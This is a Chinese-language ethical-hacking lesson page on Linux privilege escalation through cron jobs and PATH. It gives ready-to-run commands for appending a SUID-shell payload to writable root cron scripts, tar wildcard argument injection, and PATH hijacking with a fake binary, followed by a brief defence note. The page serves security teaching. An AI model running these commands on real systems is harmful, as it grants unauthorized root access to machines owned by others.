Cron 任务与 PATH
滥用计划任务
Cron 任务与 PATH 是 CoddyKit 上的免费 Ethical Hacking Academy 课时。 这是第 3 节课，共 4 节。 你可以在下方免费阅读本课时的完整内容 — 然后在浏览器中使用内置代码编辑器和全天候 AI 导师进行实践。 这是 Ethical Hacking Academy 学习路径的一部分，你的进度在网页和 CoddyKit 应用中同步。 Ethical Hacking Academy 课程共包含 4 节课。
作为攻击途径的 Cron 任务
cron 守护进程会运行计划任务，而且通常以 root 身份运行。如果您能够影响 root cron 任务所执行的内容—包括其脚本、输入，或命令解析方式—就可以以 root 身份运行代码。
枚举 Cron
读取系统 crontab 和 cron 目录。记录每项任务的运行用户以及它调用的脚本。
cat /etc/crontab
ls -la /etc/cron.d /etc/cron.daily /etc/cron.hourly
cat /var/spool/cron/crontabs/* 2>/dev/null监视隐藏任务
有些任务不会出现在明显的文件中。pspy 无需 root 权限即可监视进程创建，在任务触发时显示 cron 命令—包括那些您无法从配置中读取的命令。
./pspy64
# watch for periodic root processes可写的 Cron 脚本
最简单的利用方式是：root 的 cron 任务会运行您可以写入的脚本。追加一个有效载荷，然后等待下一次运行。
ls -la /opt/backup.sh # -rwxrwxrwx root
echo "cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash" >> /opt/backup.sh通配符注入
如果 root 的 cron 任务在您控制的目录中使用类似 tar -czf backup.tar.gz * 的通配符，您可以创建名称充当命令行选项的文件（参数注入），迫使 tar 运行您的命令。
touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=sh shell.sh"
echo "cp /bin/bash /tmp/rb; chmod +s /tmp/rb" > shell.sh什么是 PATH
PATH 是 shell 搜索命令时使用的目录列表。当脚本仅按名称调用命令时（例如使用 backup 而不是 /usr/bin/backup），PATH 中第一个匹配的文件会生效。
echo $PATH
# /usr/local/bin:/usr/bin:/binPATH 劫持
如果 root 运行的脚本在调用命令时没有使用绝对路径，而您可以将一个可写目录添加到 PATH 的开头，就可以在其中放置同名的恶意二进制文件。root 将会运行您的版本。
echo -e "#!/bin/bash\ncp /bin/bash /tmp/rb; chmod +s /tmp/rb" > /tmp/backup
chmod +x /tmp/backup
export PATH=/tmp:$PATHSUID 二进制文件中的相对路径
自定义 SUID 二进制文件在调用 system("service ...") 时不使用完整路径，也会出现同样的缺陷。劫持 PATH 后，您的代码就会以 root 身份运行——这结合了 PATH 滥用与 SUID 概念。
利用可写的 PATH 目录
即使无法修改 PATH，如果现有的 PATH 目录（例如 /usr/local/bin）可写，并且 root 任务会调用其中找到的命令，您也只需将自己的二进制文件放入该位置。
ls -ld /usr/local/bin # check for write permission把握攻击时机
基于 Cron 的提权需要耐心——您必须等待计划任务执行。记下时间间隔，放置有效载荷，并在任务触发后检查结果（例如您的 SUID shell）。
watch -n 5 ls -la /tmp/rootbash防御与道德规范
防御人员应在脚本中使用绝对路径，限制 cron 脚本及其目录的权限，避免在攻击者可控制的路径中使用通配符，并在 cron 内设置安全的 PATH。仅在获得授权的环境中测试这些技术。
快速检查
测试您对 cron/PATH 的了解。
回顾
您学习了 cron 和 PATH 提权：
- 调用可写脚本或使用通配符的 root cron 任务可以被利用
- pspy 可以发现隐藏的计划进程
- PATH 劫持利用了未使用绝对路径调用的命令
- 放置有效载荷，等待计划执行，获取 root 权限
下一节：内核漏洞利用。
常见问题解答
「Cron 任务与 PATH」课时是免费的吗？
是的 — 「Cron 任务与 PATH」的完整文本可在网页上免费阅读。要进行交互式练习（内置代码编辑器和全天候 AI 导师）并解锁 Ethical Hacking Academy 课程的其余内容，请升级到 CoddyKit PRO。 Ethical Hacking Academy 课程共包含 4 节课。
「Cron 任务与 PATH」这节课中我会学到什么？
滥用计划任务 你通过在浏览器中直接运行的动手代码来练习 Ethical Hacking Academy，全天候 AI 导师会在你学习这节课的过程中回答你的问题。
学习 Ethical Hacking Academy 需要有经验吗？
无需任何先前经验。CoddyKit 上的 Ethical Hacking Academy 课程适合初学者到高级学习者，你可以从这里开始或从头开始，按照自己的节奏学习。 这是第 3 节课，共 4 节。
「Cron 任务与 PATH」课时需要多长时间？
大多数 CoddyKit 课程大约需要 5–10 分钟。每节课都很精短且互动，所以你能稳步进步，并在网页和应用中从离开的地方继续。
我能在这节 Ethical Hacking Academy 课中编写并运行代码吗？
能。每节 Ethical Hacking Academy 课都包含内置代码编辑器，你可以在浏览器中直接编写并运行真实代码，并获得即时 AI 反馈 — 无需本地设置。
此课程中的所有课时
- 枚举
- SUID 与 Sudo 滥用
- Cron 任务与 PATH
- 内核漏洞利用